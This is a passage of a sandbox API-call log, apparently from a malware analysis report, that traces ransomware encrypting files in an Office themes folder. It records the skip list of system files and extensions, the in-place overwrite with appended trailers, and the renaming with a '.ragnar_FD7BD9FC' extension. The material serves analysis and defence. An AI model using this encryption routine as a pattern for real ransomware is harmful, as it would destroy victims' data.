Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f6eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f6eb8c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.814] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f6eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f6eb8c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.814] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.814] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.814] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0075.814] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned=".GIF" [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0075.814] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0075.814] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0075.814] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0075.814] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0075.814] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0075.814] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0075.814] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0075.814] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0075.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0075.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.815] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2604) returned 1 [0075.815] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.815] GetProcessHeap () returned 0x580000 [0075.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.815] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.817] VirtualAlloc (lpAddress=0x0, dwSize=0xa2c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.817] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.817] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.817] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa2c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xa2c, lpOverlapped=0x0) returned 1 [0075.817] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.817] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.817] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xa2c, lpOverlapped=0x0) returned 1 [0075.817] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.817] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.818] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.818] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.818] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.818] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.818] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.818] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.818] GetProcessHeap () returned 0x580000 [0075.818] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.818] CloseHandle (hObject=0x10c) returned 1 [0075.818] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" [0075.818] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0075.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.858] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f6eb8c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f6eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.858] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.858] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0075.858] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RGNR_FD7BD9FC.txt") returned=".txt" [0075.858] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0075.858] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0075.858] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.858] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RIPPLE.ELM" | out: lpString1="RIPPLE.ELM") returned="RIPPLE.ELM" [0075.858] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned=".ELM" [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="autorun.inf") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="boot.ini") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="bootfont.bin") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="bootsect.bak") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="bootmgr") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="bootmgr.efi") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="bootmgfw.efi") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="desktop.ini") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="iconcache.db") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="ntldr") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="ntuser.dat") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="ntuser.dat.log") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="ntuser.ini") returned 1 [0075.858] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="thumbs.db") returned -1 [0075.858] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0075.858] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0075.858] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0075.858] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0075.858] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0075.858] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0075.859] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0075.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm")) returned 0x20 [0075.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.859] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=66016) returned 1 [0075.859] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x101d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.859] GetProcessHeap () returned 0x580000 [0075.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.859] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.918] VirtualAlloc (lpAddress=0x0, dwSize=0x101e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.918] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.918] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.919] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x101e0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x101e0, lpOverlapped=0x0) returned 1 [0075.921] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.922] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x101e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.922] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x101e0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x101e0, lpOverlapped=0x0) returned 1 [0075.922] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x101e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.922] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.923] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x101e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.923] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.923] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.923] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.923] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.923] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.923] GetProcessHeap () returned 0x580000 [0075.923] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.923] CloseHandle (hObject=0x10c) returned 1 [0075.923] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" [0075.923] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.ragnar_FD7BD9FC" [0075.923] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.924] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0075.924] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.924] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RIPPLE.INF" | out: lpString1="RIPPLE.INF") returned="RIPPLE.INF" [0075.924] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned=".INF" [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="autorun.inf") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="boot.ini") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="bootfont.bin") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="bootsect.bak") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="bootmgr") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="bootmgr.efi") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="bootmgfw.efi") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="desktop.ini") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="iconcache.db") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="ntldr") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="ntuser.dat") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="ntuser.dat.log") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="ntuser.ini") returned 1 [0075.924] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="thumbs.db") returned -1 [0075.924] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0075.924] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0075.924] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0075.924] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0075.924] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0075.924] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0075.924] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0075.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf")) returned 0x20 [0075.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.925] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=487) returned 1 [0075.925] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.925] GetProcessHeap () returned 0x580000 [0075.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.925] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.926] VirtualAlloc (lpAddress=0x0, dwSize=0x1e7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.926] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.926] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.926] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1e7, lpOverlapped=0x0) returned 1 [0075.926] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.926] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.926] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1e7, lpOverlapped=0x0) returned 1 [0075.926] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.926] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.926] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.926] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.927] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.927] WriteFile (in: 